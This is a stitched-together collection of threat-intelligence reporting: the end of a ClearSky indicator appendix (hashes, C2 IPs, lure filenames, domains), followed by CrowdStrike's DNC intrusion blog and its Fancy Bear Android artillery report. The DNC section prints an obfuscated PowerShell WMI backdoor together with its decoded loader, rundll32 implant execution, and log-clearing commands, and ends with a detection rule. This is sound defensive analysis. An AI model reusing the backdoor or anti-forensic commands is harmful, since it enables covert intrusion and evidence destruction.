b:\World\IL\Working Tools\2015-11-08 NeD Ver 704 mossad Track - 192.161.48.59 - save strem\NeD Worm\obj\x86\Debug\MusicLogs.pdb b:\World\IL\Working Tools\2015-11-04 NeD Ver 704 SPY ND - 192.52.167.235\NeD Worm\obj\x86\Debug\MusicLogs.pdb i:\World\sfx\2015-08-10 NeD ver 5P Fixed\NeD Worm\obj\x86\Debug\Music Synchronization.pdb b:\World\IL\Working Tools\2015-11-04 NeD Ver 704 SPY ND - 192.52.167.235\NeD Download and execute Version 1 Doc\obj\x86\Debug\News.pdb b:\World\IL\Working Tools\2015-11-03 NeD Ver 704 Stay - 107.191.47.42\NeD Worm\obj\x86\Debug\MusicLogs.pdb b:\World\IL\Working Tools\2015-10-27 NeD Ver 704 NSR ND - 192.52.167.235\NeD Worm\obj\x86\Debug\MusicLogs.pdb b:\World\IL\Working Tools\2015-10-27 NeD Ver 704 NSR ND - 192.52.167.235\NeD Download and execute Version 1 Doc\obj\x86\Debug\News.pdb b:\World\IL\Working Tools\2015-10-21 NeD Ver 703 Random Face - 192.161.48.59 - save strem\NeD Worm\obj\x86\Debug\MusicLogs.pdb C:\Users\-\Desktop\NeD Download and execute Version 1 - Doc\obj\x86\Debug\News.pdb b:\World\IL\Working Tools\2015-11-14 NeD Ver 8SSl Socks - 167.160.36.14 - https\NeD Worm\obj\x86\Release\MusicLogs.pdb b:\World-2015\IL\Working Tools\2015-07-04 NeDKeY ver 1\NeDKeY ver 1\obj\x86\Release\Internet.pdb E:\AANewIst2015\Downloader\2015-08-18 NeD ver 501P Fixed - Dov\2015-08-18 NeD ver 501P Fixed - Dov\NeD Download and execute Version 1 - Doc\obj\x86\Debug\News.pdb ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 35 of 42 Mutex b:\World-2015\IL\Working Tools\2015-12-29 NeD Ver 8 Stay jan 107.191.47.42\NeD Worm\obj\x86\Release\MusicLogs.pdb NewFolder.exe Mutex New.exe Mutex Clean.exe Mutex {9F6F0AC4-89A1-45fd-A8CF-72F04E6BDE8F} fcecf4dc05d57c8ae356ab6cdaac88c2 f6e8e1b239b66632fd77ac5edef7598d f589827c4cf94662544066b80bfda6ab eea2e86f06400f29a2eb0c40b5fc89a6 e9586b510a531fe53fec667c5c72d87b e69bd8ab3d90feb4e3109791932e5b5e e55bbc9ef77d2f3723c57ab9b6cfaa99 e3f3fe28f04847f68d6bec2f45333fa7 ddb6093c21410c236b3658d77362de25 dd9dcf27e01d354dbae75c1042a691ef d23b206a20199f5a016292500d48d3d2 c75c58b9e164cc84526debfa01c7e4b9 bf5d9726203e9ca58efb52e4a4990328 bee2f490ec2cd30edaea0cb1712f4ed4 bbd0136a96fec93fc173a830fd9f0fc0 baff12450544ac476e5e7a3cbdeb98b5 bab02ab7b7aa23efcab02e4576311246 b1071ab4c3ef255c6ec95628744cfd3d aa541499a7dbbcb9cd522ccde69f59e6 aa288a5cbf4c897ff02238e851875660 aa1f329a8cfdaf79c3961126a0d356fe a79c170410658eac31449b5dba7cc086 a6aa53ce8dd5ffd7606ec7e943af41eb 9c60fadece6ea770e2c1814ac4b3ae74 99ffe19cb57d538e6d2c20c2732e068c 96d2e0b16f42c0fd42189fd871b02b5e 96bf59cc724333ddbcf526be132b2526 8cdb90b4e6c87a406093be9993102a46 8bb2d2d1a6410c1b5b495befc6ae0945 89125df531db67331a26c5064ab0be44 8579d81c49fa88da8002163f6ada43e1 84e5bb2e2a27e1dcb1857459f80ac920 84687e72feade5f50135e5fc0e1696e3 7f5cb76ca3ba8df4cabceb3c1cd0c11e 7a91d9bcd02b955b363157f9a7853fd1 79d701e58c55062faf968490ad4865b0 previous campaign ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 36 of 42 796a6062d236f530d50209a9066b594a 77d6e2068bb3367b1a46472b56063f10 7450b92d96920283f441cb1cd39ab0c8 6fd045ee7839fd4249aeda6ffd3e3b13 6af77a2f844c3521a40a70f6034c5c4a 641a0dbdd6c12d69dc8325522aaa2552 5f0f503246665231c5bb7e8a78c16838 577ac4f43871a07fd9b63b8a75702765 4e93b3aa8c823e85fdc2ebd3603cd6e9 45e662b398ecd96efd1abc876be05cb3 3f88ca258d89ff4bd6449492f4bd4af6 3ee15c163fbf6c36076b44c6fd654db2 38b505a8aa5b757f326e0a8fe032e192 3227cc9462ffdc5fa27ae75a62d6d0d9 286a1b5092f27b3e7e2f92e83398fcc2 2606387a3dfb8bdc12beefacefc0354f 22ff99f039feb3c7ae524b6d487bbff7 1dfb74794a0befb6bb5743fa4305c87b 1d9612a869ad929bd4dd16131ddb133a 18ef043437a8817e94808aee887ade5c 154b2f008d80bf954394cf9ccbcccfda 12fd3469bdc463a52c89da576aec857e 0d65b89215a0ecb18c1c86dc5ac839d0 0b0d1924eff3e6e6ca9bcbe60a0451bf 0756357497c2cd7f41ed6a6d4403b395 5c3595e60df4d871250301b0b0b19744 59f50a346aae12cbd5c1dec0e88bbde4 ffc183a5c86b1ce0bab7841bb5c9917f bd07fd19b7598a0439b5cfd7d17ad9e6 6dce847c27f5dd99261066093cb7b859 a5c8bbacc9fce5cf72b6757658cf28f7 ddd11518b1f62f2c91f2393f15f41dcd c8fa23c3787d9e6c9e203e48081a1984 c46a40de75089a869ec46dec1e34fe7b bd19da16986240323f78341d046c9336 5e0eb9309ef6c2e1b2b9be31ff30d008 5896908cf66fd924e534f8cdb7bec045 53f75e3d391e730a2972b4e2f7071c2e 4731eb06a2e58a988684e62f523e7177 previous campaign previous campaign previous campaign previous campaign previous campaign previous campaign previous campaign previous campaign ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 37 of 42 3bf8898a88e42b0b74d29868492bd87f previous campaign CECA997310C6CE221D00FF6C17E523EDC1BFCE0A A48662422283157455BE9FB7D6F3F90451F93014 15be036680c41f97dfac9201a7c51cfc 45.32.236.220 45.32.13.169 192.52.167.235 192.52.167.125 192.210.214.121 192.169.7.99 192.169.6.199 192.169.6.154 192.169.6. 199 192.161.48.59 185.117.73.116 173.254.236.130 172.245.30.30 167.160.36.14 162.220.246.117 107.191.47.42 72.11.148.147 185.82.202.207 previous campaign filename .exe filename .exe filename .exe filename .exe filename exe. filename exe.'' '' FBi filename exe. filename exe. filename .exe filename exe. filename exe. filename exe. filename ..exe filename Against Stabbing.exe How to Defend - filename Wor.exe filename VirusTotalScanner.exe filename Video & Photos - The 28 Biggest Sex Scandals In Hollywood History.exe filename US Embassy in Saudi Arabia Report.rar filename US Embassy in Saudi Arabia halts operations amid 'heightened security concerns'.exe ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 38 of 42 filename The Truth About Your Sexual Peak , Don't worry.exe filename Supermodel Bar Refaeli Stars in Israeli Spy Movie.exe filename Spy vs. Spy Inside the Fraying U.S.-Israel Ties.exe filename Novm-H-S.exe.bin filename MusicLogs.exe filename Music Synchronization.exe filename MP4.exe.bin filename log file.exe filename Invoice details.doc filename Internet-y.exe filename Hot-Story.RAR filename Hot-Report&Photos.rar filename Google-Privacy.doc filename FileZellacompiler.exe.bin filename Estimate position - the Gaza bombings.exe filename Egypt in the saudi arabia leaks - second set.exe filename Browsem.exe filename Greek coastguard appears to sink refugee boat.exe filename .exe filename domain star.yaneom.space domain yaneom.space.co domain yaneom.ml domain xr.downloadcor.xyz domain wembail.supportmai.cf domain wallnet.zyns.com domain version.downloadcor.xyz domain v6.support-sales.tk domain us.suppoit.xyz domain transkf.tk domain suppot-sales.mefound.com domain support-sales.tk domain supports.mefound.com domain support.mypsx.net domain support.markting-fac.tk domain support.bkyane.xyz domain supo.mefound.com domain sup.mefound.com domain submit.mrface.com domain sub.submitfda.co.vu domain star.mefound.com previous campaign previous campaign ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 39 of 42 domain spynews.otzo.com domain socks.israel-shipment.xyz domain smtpa.dynamic-dns.net domain smtp.gq domain smtp.email-test.ml domain sky.otzo.com domain sip.supportcom.xyz domain singin.loginto.me domain ser.esmtp.biz domain sales-spy.ml domain salesmarkting.co.vu domain sales.suppoit.xyz domain sales.suppoit. xyz domain sales.blogsyte.com domain ra.goaglesmtp.co.vu domain ns.suppoit.xyz domain news20158.co.vu domain news.net-freaks.com domain news.bulk-smtp.xyz domain ms.suppoit.xyz domain mossad.mefound.com domain marktingvb.ml domain markit.mefound.com domain marki.mefound.com domain mailweb.otzo.com domain krowd.downloadcor.xyz domain jenneaypreff.linkpc.net domain jake.support-sales.tk domain iphonenewsd.co.vu domain infoblusa.tk domain idf.idfcom.co.vu domain hr.goaglesmtp.co.vu domain hostgatr.mrface.com domain hdgshfdgh.co.vu domain games.buybit.us domain gamail.goaglesmtp.co.vu domain gabro.xxuz.com domain facetoo.co.vu domain email-test.ml domain emailotest.co.vu domain ed3qy5yioryitoturysuiu.otzo.com domain drivres-update.info ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 40 of 42 domain down.supportcom.xyz domain down.downloadcor.xyz domain direct-marketing.ml domain dfwsd.co.vu domain cnaci8gyolttkgmguzog.ignorelist.com domain cl170915.otzo.com domain buy.israel-shipment.xyz domain bulk-smtp.xyz domain baz.downloadcor.xyz domain aqs.filezellasd.co.vu domain acc.buybit.us domain aaas.mefound.com domain 0arfx4grailorhvlicbj.servehumour.com domain skynews1.blogsyte.com domain goodwebmail.tk domain email-market.ml domain imazing.ga domain 0n4tblbdfncaauxioxto.ddns.net domain cyaxsnieccunozn0erih.mefound.com domain word.2waky.com domain us-update.com domain sales.intarspace.co.vu domain newdowr.otzo.com domain new.newlan.co.vu domain lkvz7bsfuiaidsyynu7bd2owpe.dns05.com domain info.intarspace.co.vu domain gfhbgfzfgfgfgdg.otzo.com domain 3tshhm1nfphiqqrxbi8c.servehumour.com domain d.nabzerd.co.vu domain debka.ga domain dontrplay.tk domain zapt.zapto.org domain news015.otzo.com domain news.buybit.us domain markting-fac.tk domain adfdafsggdfgdfgsagaer.blogsyte.com domain helthnews.ga domain update.ciscofreak.com domain googledomain.otzo.com domain accounts-helper.ml domain www.dorcertg.otzo.com domain directl.otzo.com ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 41 of 42 domain dnsfor.dnsfor.me domain filezellla.otzo.com domain ksm5sksm5sksm5s.zzux.com domain markting.mefound.com domain vbdodo.mefound.com Campaign identifiers Campaign identifiers Campaign identifiers Campaign identifiers Campaign identifiers Campaign identifiers Campaign identifiers Campaign identifiers Campaign identifiers Campaign identifiers Campaign identifiers Campaign identifiers wikileaks (Ra)
2015-06-11 very important (key)
2015-07-07 Star(Star)
2015-10-18 Random(Music)
2015-07-13 November(HZ)
2015-11-03 MOSSAD(Track)
2015-11-08 meshal(Music)
2015-07-15
Fajer(IOS)
2015-08-13 FaceBook(IOS)
2015-08-24 DAFBK(NSR)
2015-11-04 SPYND(NSR)
2015-11-04 Doc Test
2015-11-30 ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 42 of 42 Bears in the Midst: Intrusion into the Democratic National Committee crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ Dmitri Alperovitch There is rarely a dull day at CrowdStrike where we are not detecting or responding to a breach at a company somewhere around the globe. In all of these cases, we operate under strict confidentiality rules with our customers and cannot reveal publicly any information about these attacks. But on rare occasions, a customer decides to go public with information about their incident and give us permission to share our knowledge of the adversary tradecraft with the broader community and help protect even those who do not happen to be our customers. This story is about one of those cases. CrowdStrike Services Inc., our Incident Response group, was called by the Democratic National Committee (DNC), the formal governing body for the US Democratic Party, to respond to a suspected breach. We deployed our IR team and technology and immediately identified two sophisticated adversaries on the network COZY BEAR and FANCY BEAR. We ve had lots of experience with both of these actors attempting to target our customers in the past and know them well. In fact, our team considers them some of the best adversaries out of all the numerous nation-state, criminal and hacktivist/terrorist groups we encounter on a daily basis. Their tradecraft is superb, operational security second to none and the extensive usage of living-off-the-land techniques enables them to easily bypass many security solutions they encounter. In particular, we identified advanced methods consistent with nation-state level capabilities including deliberate targeting and access management tradecraft both groups were constantly going back into the environment to change out their implants, modify persistent methods, move to new Command & Control channels and perform other tasks to try to stay ahead of being detected. Both adversaries engage in extensive political and economic espionage for the benefit of the government of the Russian Federation and are believed to be closely linked to the Russian government s powerful and highly capable intelligence services. COZY BEAR (also referred to in some industry reports as CozyDuke or APT 29) is the adversary group that last year successfully infiltrated the unclassified networks of the White House, State Department, and US Joint Chiefs of Staff . In addition to the US government, they have targeted organizations across the Defense, Energy, Extractive, Financial, Insurance, Legal, Manufacturing Media, Think Tanks, Pharmaceutical, Research and Technology industries, along with Universities. Victims have also been observed in Western Europe, Brazil, China, Japan, Mexico, New Zealand, South Korea, Turkey and Central Asian countries. COZY BEAR s preferred intrusion method is a broadly targeted spearphish campaign that typically includes web links to a malicious dropper. Once executed on the machine, the code will deliver one of a number of sophisticated Remote Access Tools (RATs), including AdobeARM, ATIAgent, and MiniDionis. On many occasions, both the dropper and the payload will contain a range of techniques to ensure the sample is not being analyzed on a virtual machine, using a debugger, or located within a sandbox. They have extensive checks for the various security software that is installed on the system and their specific configurations. When specific versions are discovered that may cause issues for the RAT, it promptly exits. These actions demonstrate a well-resourced adversary with a thorough implant-testing regime that is highly attuned to slight configuration issues that may result in their detection, and which would cause them to deploy a different tool instead. The implants are highly configurable via encrypted configuration files, which allow the adversary to customize various components, including C2 servers, the list of initial tasks to carry out, persistence mechanisms, encryption keys and others. An HTTP protocol with encrypted payload is used for the Command & Control communication. FANCY BEAR (also known as Sofacy or APT 28) is a separate Russian-based threat actor, which has been active since mid 2000s, and has been responsible for targeted intrusion campaigns against the Aerospace, Defense, Energy, Government and Media sectors. Their victims have been identified in the United States, Western Europe, Brazil, Canada, China, Georgia, Iran, Japan, Malaysia and South Korea. Extensive targeting of defense ministries and other military victims has been observed, the profile of which closely mirrors the strategic interests of the Russian government, and may indicate affiliation with (Main Intelligence Department) or GRU, Russia s premier military intelligence service. This adversary has a wide range of implants at their disposal, which have been developed over the course of many years and include Sofacy, X-Agent, X-Tunnel, WinIDS, Foozer and DownRange droppers, and even malware for Linux, OSX, IOS, Android and Windows Phones. This group is known for its technique of registering domains that closely resemble domains of legitimate organizations they plan to target. Afterwards, they establish phishing sites on these domains that spoof the look and feel of the victim s web-based email services in order to steal their credentials. FANCY BEAR has also been linked publicly to intrusions into the German Bundestag and France s TV5 Monde TV station in April 2015. At DNC, COZY BEAR intrusion has been identified going back to summer of 2015, while FANCY BEAR separately breached the network in April 2016. We have identified no collaboration between the two actors, or even an awareness of one by the other. Instead, we observed the two Russian espionage groups compromise the same systems and engage separately in the theft of identical credentials. While you would virtually never see Western intelligence agencies going after the same target without de-confliction for fear of compromising each other operations, in Russia this is not an uncommon scenario. Putin s Hydra: Inside Russia s Intelligence Services , a recent paper from European Council on Foreign Relations, does an excellent job outlining the highly adversarial relationship between Russia s main intelligence services (FSB), the primary domestic intelligence agency but one with also significant external collection and active measures remit, (SVR), the primary foreign intelligence agency, and the aforementioned GRU. Not only do they have overlapping areas of responsibility, but also rarely share intelligence and even occasionally steal sources from each other and compromise operations. Thus, it is not surprising to see them engage in intrusions against the same victim, even when it may be a waste of resources and lead to the discovery and potential compromise of mutual operations. The COZY BEAR intrusion relied primarily on the SeaDaddy implant developed in Python and compiled with py2exe and another Powershell backdoor with persistence accomplished via Windows Management Instrumentation (WMI) system, which allowed the adversary to launch malicious code automatically after a specified period of system uptime or on a specific schedule. The Powershell backdoor is ingenious in its simplicity and power. It consists of a single obfuscated command setup to run persistently, such as: powershell.exe -NonInteractive -ExecutionPolicy Bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAAcABlAHIAZgBDAHIAKAAkAGMAcgBUAHIALAAgACQAZABhAHQAYQApAA0ACgB7AA0ACgAJACQAcgBlAHQAIAA9ACAAJABuAHUAbABsAA0ACgAJAHQAcg This decodes to: function perfCr($crTr, $data){ $ret = $null try{ $ms = New-Object System.IO.MemoryStream $cs = New-Object System.Security.Cryptography.CryptoStream -ArgumentList @($ms, $crTr, [System.Security.Cryptography.CryptoStreamMode]::Write) $cs.Write($data, 0, $data.Length) $cs.FlushFinalBlock() $ret = $ms.ToArray() $cs.Close() $ms.Close() catch{} return $ret function decrAes($encData, $key, $iv) $ret = $null try{ $prov = New-Object System.Security.Cryptography.RijndaelManaged $prov.Key = $key $prov.IV = $iv $decr = $prov.CreateDecryptor($prov.Key, $prov.IV) $ret = perfCr $decr $encData Catch{} return $ret function sWP($cN, $pN, $aK, $aI) if($cN -eq $null -or $pN -eq $null){return $false} try{ $wp = ([wmiclass]$cN).Properties[$pN].Value $exEn = [Convert]::FromBase64String($wp) $exDec = decrAes $exEn $aK $aI $ex = [Text.Encoding]::UTF8.GetString($exDec) if($ex -eq $null -or $ex -eq {return} Invoke-Expression $ex return $true catch{ return $false $aeK = [byte[]] (0xe7, 0xd6, 0xbe, 0xa9, 0xb7, 0xe6, 0x55, 0x3a, 0xee, 0x16, 0x79, 0xca, 0x56, 0x0f, 0xbc, 0x3f, 0x22, 0xed, 0xff, 0x02, 0x43, 0x4c, 0x1b, 0xc0, 0xe7, 0x57, 0xb2, 0xcb, 0xd8, 0xce, 0xda, 0x00) $aeI = [byte[]] (0xbe, 0x7a, 0x90, 0xd9, 0xd5, 0xf7, 0xaa, 0x6d, 0xe9, 0x16, 0x64, 0x1d, 0x97, 0x16, 0xc0, 0x67) sWP $aeK $aeI | Out-Null This one-line powershell command, stored only in WMI database, establishes an encrypted connection to C2 and downloads additional powershell modules from it, executing them in memory. In theory, the additional modules can do virtually anything on the victim system. The encryption keys in the script were different on every system. Powershell version of credential theft tool MimiKatz was also used by the actors to facilitate credential acquisition for lateral movement purposes. FANCY BEAR adversary used different tradecraft, deploying X-Agent malware with capabilities to do remote command execution, file transmission and keylogging. It was executed via rundll32 commands such as: rundll32.exe C:\Windows\twain_64.dll In addition, FANCY BEAR s X-Tunnel network tunneling tool, which facilitates connections to NAT-ed environments, was used to also execute remote commands. Both tools were deployed via RemCOM, an open-source replacement for PsExec available from GitHub. They also engaged in a number of anti-forensic analysis measures, such as periodic event log clearing (via wevtutil cl System and wevtutil cl Securitycommands) and resetting timestamps of files. Intelligence collection directed by nation state actors against US political targets provides invaluable insight into the requirements directed upon those actors. Regardless of the agency or unit tasked with this collection, the upcoming US election, and the associated candidates and parties are of critical interest to both hostile and friendly nation states. The 2016 presidential election has the world s attention, and leaders of other states are anxiously watching and planning for possible outcomes. Attacks against electoral candidates and the parties they represent are likely to continue up until the election in November. Indicators of Compromise: Adversary IOC Type Additional Info 6c1bce76f4d2358656132b6b1d471571820688ccdbaca0d86d0ca082b9390536 COZY BEAR SHA256 pagemgr.exe (SeaDaddy implant) b101cd29e18a515753409ae86ce68a4cedbe0d640d385eb24b9bbb69cf8186ae COZY BEAR SHA256 pagemgr.exe (SeaDaddy implant) 185[.]100[.]84[.]134:443 COZY BEAR SeaDaddy implant C2 58[.]49[.]58[.]58:443 COZY BEAR SeaDaddy implant C2 218[.]1[.]98[.]203:80 COZY BEAR Powershell implant C2 187[.]33[.]33[.]8:80 COZY BEAR Powershell implant C2 fd39d2837b30e7233bc54598ff51bdc2f8c418fa5b94dea2cadb24cf40f395e5 FANCY BEAR SHA256 twain_64.dll (64-bit X-Agent implant) 4845761c9bed0563d0aa83613311191e075a9b58861e80392914d61a21bad976 FANCY BEAR SHA256 VmUpgradeHelper.exe (X-Tunnel implant) 40ae43b7d6c413becc92b07076fa128b875c8dbb4da7c036639eccf5a9fc784f VmUpgradeHelper.exe FANCY BEAR SHA256 (X-Tunnel implant) 185[.]86[.]148[.]227:443 FANCY BEAR C2 X-Agent implant C2 45[.]32[.]129[.]185:443 FANCY BEAR C2 X-Tunnel implant C2 23[.]227[.]196[.]217:443 FANCY BEAR C2 X-Tunnel implant C2 Danger Close: Fancy Bear Tracking of Ukrainian Field Artillery Units crowdstrike.com /blog/danger-close-fancy-bear-tracking-ukrainian-field-artillery-units/ Adam Meyers 12/21/2016 Update As of March 2017, the estimated losses of D-30 howitzer platform have been amended. According to an update provided by the International Institute for Strategic Studies (IISS) Research Associate for Defence and Military Analysis, Henry Boyd, their current assessment is as follows: excluding the Naval Infantry battalion in the Crimea which was effectively captured wholesale, the Ukrainian Armed Forces lost between 15% and 20% of their pre-war D 30 inventory in combat operations. In June CrowdStrike identified and attributed a series of targeted intrusions at the Democratic National Committee (DNC), and other political organizations that utilized a well known implant commonly called X-Agent. X-Agent is a cross platform remote access toolkit, variants have been identified for various Windows operating systems, Apple iOS, and likely the MacOS. Also known as Sofacy, X-Agent has been tracked by the security community for almost a decade, CrowdStrike associates the use of X-Agent with an actor we call FANCY BEAR. This actor to date is the exclusive operator of the malware, and has continuously developed the platform for ongoing operations which CrowdStrike assesses is likely tied to Russian Military Intelligence (GRU). The source code to this malware has not been observed in the public domain and appears to have been developed uniquely by FANCY BEAR. Late in the summer of 2016, CrowdStrike Intelligence analysts began investigating a curious Android Package (APK) named 30.apk (MD5: 6f7523d3019fa190499f327211e01fcb) which contained a number of Russian language artifacts that were military in nature. Initial research identified that the filename suggested a relationship to the D-30 122mm towed howitzer, an artillery weapon first manufactured in the Soviet Union in the 1960s but still in use today. In-depth reverse engineering revealed the APK contained an Android variant of X-Agent, the command and control protocol was closely linked to observed Windows variants of X-Agent, and utilized a cryptographic algorithm called RC4 with a very similar 50 byte base key. The filename 30.apk was linked to a legitimate application which was initially developed domestically within Ukraine by an officer of the 55th Artillery Brigade named Yaroslav Sherstuk. In media interviews Mr. Sherstuk claims that the application, which had some 9000 users, reduced the time to fire the D-30 from minutes to seconds. No evidence of the application has been observed on the Android app store, making it unlikely that the app was distributed via that platform. D-30 Howitzer in service with Ukrainian military personnel Today CrowdStrike is releasing publicly an intelligence report which was circulated to CrowdStrike Falcon Intelligence customers detailing the use of the trojanized 30.apk application by the Ukrainian military and the deadly repercussions inflicted on that platform by Russian forces. The key points of this report are: From late 2014 and through 2016, FANCY BEAR X-Agent implant was covertly distributed on Ukrainian military forums within a legitimate Android application developed by Ukrainian artillery officer Yaroslav Sherstuk. The original application enabled artillery forces to more rapidly process targeting data for the Soviet-era D-30 Howitzer employed by Ukrainian artillery forces reducing targeting time from minutes to under 15 seconds. According to Sherstuk s interviews with the press, over 9000 artillery personnel have been using the application in Ukrainian military. Successful deployment of the FANCY BEAR malware within this application may have facilitated reconnaissance against Ukrainian troops. The ability of this malware to retrieve communications and gross locational data from an infected device makes it an attractive way to identify the general location of Ukrainian artillery forces and engage them. Open source reporting indicates that Ukrainian artillery forces have lost over 50% of their weapons in the 2 years of conflict and over 80% of D-30 howitzers, the highest percentage of loss of any other artillery pieces in Ukraine s arsenal. This previously unseen variant of X-Agent represents FANCY BEAR s expansion in mobile malware development from iOS-capable implants to Android devices, and reveals one more component of the broad spectrum approach to cyber operations taken by Russia-based actors in the war in Ukraine. The collection of such tactical artillery force positioning intelligence by FANCY BEAR further supports CrowdStrike s previous assessments that FANCY BEAR is likely affiliated with the Russian military intelligence (GRU), and works closely with Russian military forces operating in Eastern Ukraine and its border regions in Russia. The following Snort rule matches on the X-Agent-Android C2 beacon request: alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (\ msg: CrowdStrike FANCY BEAR X-Agent Android C2 Request flow: established,to_server; \ content: ; http_uri; \ pcre: /^\/(watch|search|find|results|open|close)\/\?/U pcre: /[\?\&](text|from|ags|oe|aq|btnG|oprnd)=/U classtype: trojan-activity; metadata: service http; \ sid: XXXX; rev: 20160815;) Join Dmitri Alperovitch and me live on January 4, 2017 at 2pm EST for Bear Hunting: History and Attribution of Russian Intelligence Operations to learn more about FANCY BEAR and linkages to the GRU. Register now. For continuous access to the industry-leading intelligence that powers CrowdStrike Falcon to include strategic, operational, and technical reporting as well as indicator feeds and APIs of more than 80+ Targeted Intrusion, Hacktivist, and eCrime adversary groups, their TTPs, and associated campaigns request info. As Vice President of Intelligence, Adam Meyers oversees all intelligence gathering and cyber adversary monitoring for CrowdStrike, the leader in cloud-delivered endpoint protection, threat intelligence and response services. Falcon Intelligence is part of the CrowdStrike Falcon Platform, which helps organizations stop cyber breaches. At CrowdStrike, the value of threat intelligence lies in its ability to proactively protect your environment from attacks, through a deep understanding of the adversary and what it takes to stop them. USE OF FANCY BEAR ANDROID MALWARE IN TRACKING OF UKRAINIAN FIELD ARTILLERY UNITS PUBLISHED DECEMBER 22 CROWDSTRIKE GLOBAL INTELLIGENCE TEAM web: WWW.CROWDSTRIKE.COM | twitter: @CROWDSTRIKE Copyright 2016 K E Y POI NTS rom late 2014 and through 2016, FANCY BEAR X-Agent implant was covertly distributed on Ukrainian military forums within a legitimate Android application developed by Ukrainian artillery officer Yaroslav Sherstuk. he original application enabled artillery forces to more rapidly process targeting data for the Soviet-era D-30 Howitzer employed by Ukrainian artillery forces reducing targeting time from minutes to under 15 seconds. According to Sherstuk s interviews with the press, over 9000 artillery personnel have been using the application in Ukrainian military. uccessful deployment of the FANCY BEAR malware within this application may have facilitated reconnaissance against Ukrainian troops. The ability of this malware to retrieve communications and gross locational data from an infected device makes it an attractive way to identify the general location of Ukrainian artillery forces and engage them. pen source reporting indicates that Ukrainian artillery forces OPEN-SOURCE REPORTING INDICATES LOSSES OF ALMOST 50% OF EQUIPMENT IN THE LAST 2 YEARS OF CONFLICT AMONGST UKRAINIAN ARTILLERY FORCES AND OVER 80% OF D-30 HOWITZERS WERE LOST, FAR MORE THAN ANY OTHER PIECE OF UKRAINIAN ARTILLERY 9. have lost over 50% of their weapons in the 2 years of conflict and over 80% of D-30 howitzers, the highest percentage of loss of any other artillery pieces in Ukraine's arsenal. his previously unseen variant of X-Agent represents FANCY BEAR s expansion in mobile malware development from iOScapable implants to Android devices, and reveals one more component of the broad spectrum approach to cyber operations taken by Russia-based actors in the war in Ukraine. he collection of such tactical artillery force positioning intelligence by FANCY BEAR further supports CrowdStrike previous assessments that FANCY BEAR is likely affiliated with the Russian military intelligence (GRU), and works closely with Russian military forces operating in Eastern Ukraine and its border regions in Russia. BAC KGR OUND In late June and August 2016, CrowdStrike Intelligence provided initial reporting and technical analysis of a variant of the FANCY BEAR implant X-Agent that targeted the Android mobile platform2. CrowdStrike CROWDSTRIKE IDENTIFIED THIS X-AGENT VARIANT WITHIN A LEGITIMATE ANDROID APPLICATION NAMED 30.APK. THIS APP WAS DEVELOPED AND USED BY ARTILLERY TROOPS TO SIMPLIFY TARGETING DATA FOR THE D-30 TOWED HOWITZER identified this X-Agent variant within a legitimate Android application named 30.apk. This app was developed and used by artillery troops to simplify targeting data for the D-30 towed howitzer. CrowdStrike investigation reveals that this app has been utilized in a possible training or operational role in at least one unit of the Ukrainian military. Therefore, the implant likely targeted military artillery units operating against proRussian separatists in Eastern Ukraine. This implant represents further advancements in FANCY BEAR development of mobile malware for targeted intrusions and extends Russian cyber capabilities to the front lines of the battlefield. This Tipper builds on CrowdStrike s previous reporting by providing a timeline of events, contextual discussion regarding the potential drivers for development and deployment of the malware, and a description of the analytical process resulting in targeting assessments. Finally, this Tipper leverages these assessments, in conjunction with more recently observed activity by Russia-based adversaries, to determine the potential for any future activity in the mobile malware threat space. Individual believed to be the developer promotes Android App on Russian Social Media Site vKontakte Kremlin threatens Ukraine over EU agreement Anon Ops vs. Ukraine Gov t Websites - Defacements and DDoS Russia offers Ukraine loans and discounts on gas Intrusions into Ukraine Transportation Sector Referendum on Crimea/Crimean annexation DEVELOPED 20 FEB 13 APR Gazprom increases gas prices, Ukraine skips payment JUNE JULY SEPT DDoS and targeted intrusions in media, financial, & political entities in Ukraine Presidential Elections in Ukraine JUNE JULY Malicious App Observed in Distribution on Forums SEPT LIKELY RUSSIA-BASED RECONNAISSANCE OF UKRAINIAN GOVERNMENT AND/OR MILITARY TARGETS POSSIBLE DEVELOPMENT TIME FRAME: MALICIOUS X-AGENT IMPL ANT INJECT FOR 30 L ATE APRIL 2013 - EARLY DECEMBER 2014 2013 MALICIOUS APP DISTRIBUTION 2014 ARMED CONFLICT IN UKRAINE Ukraine s Parliament convenes and plans to lay foundation for EU Association Agreement UKR Pres. Yanukovych does about face on planned EU agreement, orients towards Russia Protests reach their peak, gov t cracks down violently; agreement reached for elections; Yanukovich flees to Russia DDoS vs. NATO Protest movement begins in Kiev LEGEND Armed men appear in unmarked uniforms in Crimea Events associated with the Android app International Events or Diplomacy Efforts Ukrainian Domestic Affairs Targeted Intrusion, DDoS or Disinformation Russian / Ukrainian Confrontation CyberBerkut Emerges Pro-Russian forces begin seizing government resources in Eastern Ukraine Malaysia Air Flight MH17 destroyed by pro-Russian Separatists Intrusion against Ukraine s Central Election Commission Minsk I Ceasefire Signed Video depicting use of application in eastern Ukraine Earliest public reporting on the Android App developed by the Ukrainian soldier Cyber attacks against Ukrainian power stations CyberBerkut Releases Info Associated With Claimed Intrusion into Ukraine Security Service SBU Attack on Kiev Airport System CyberBerkut Defaces Bellingcat Website JUNE JULY SEPT JUNE JULY SEPT LIKELY RUSSIA-BASED RECONNAISSANCE OF UKRAINIAN GOVERNMENT AND/OR MILITARY TARGETS MALICIOUS APP DEVELOPMENT, DEPLOYMENT, AND USAGE TIME FRAME L ATE APRIL 2013 - AND BEYOND 2016 2015 ARMED CONFLICT IN UKRAINE First Minsk Ceasefire Collapses Minsk II Protocol signed Targeted intrusions against Ukraine Ministry of Defense Developer of benign app promoted within Ukrainian military LEGEND Events associated with the Android app International Events or Diplomacy Efforts Ukrainian Domestic Affairs Targeted Intrusion, DDoS or Disinformation Russian / Ukrainian Confrontation Pro-Russian Hacktivist Group Sprut Emerges Crimea lacks electricity after physical attack Reported testing period for ArtOS News story associating app author as head of the ArtOS project, a joint endeavor with the Noosphere Engineering School Forums discussing the app and claiming to be associated with the developers users are called out as fraudulent some users claim copy apps are 